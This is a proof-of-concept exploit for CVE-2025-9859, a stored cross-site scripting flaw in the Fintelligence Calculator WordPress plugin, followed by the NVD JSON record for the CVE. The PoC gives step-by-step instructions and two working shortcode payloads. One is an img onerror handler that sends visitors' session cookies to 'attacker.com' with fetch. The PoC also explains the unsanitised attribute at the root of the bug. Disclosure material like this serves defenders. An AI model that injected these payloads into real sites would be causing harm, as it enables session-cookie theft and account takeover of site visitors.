CVE-2025-9859

<!-- PoC for CVE-2025-9859: Stored XSS in Fintelligence Calculator WordPress Plugin Vulnerable endpoint: fintelligence-calculator shortcode (all versions <= 1.0.3) Required privilege: Contributor or above --> <!-- Step 1: As an authenticated contributor, create a new post with the following content --> [fintelligence-calculator title="<script>alert('XSS-'+document.cookie)</script>"] <!-- Alternative payload using event handler (may bypass some filters) --> [fintelligence-calculator title="<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"] <!-- Step 2: Submit the post for review (or publish if higher privileges) --> <!-- Step 3: When any user visits the published page, the injected JavaScript executes in their browser context, potentially stealing session cookies, performing actions on behalf of the victim, or redirecting to malicious sites. --> <!-- Note: The vulnerability exists because class-register-shortcodes.php at line 93 does not sanitize shortcode attributes before rendering them in the HTML output. Functions like esc_attr(), esc_html(), or wp_kses() should be applied to user-supplied shortcode attributes to prevent XSS. -->

{"cve": {"id": "CVE-2025-9859", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:49.263", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fintelligence Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'fintelligence-calculator' shortcode in all versions up to, and including, 1.0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fintelligence-calculator/tags/1.0.3/src/inc/class-register-shortcodes.php#L93", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9bbe89d0-4b0a-40d6-b1a0-3faf9550ec5c?source=cve", "source": "[email protected]"}]}}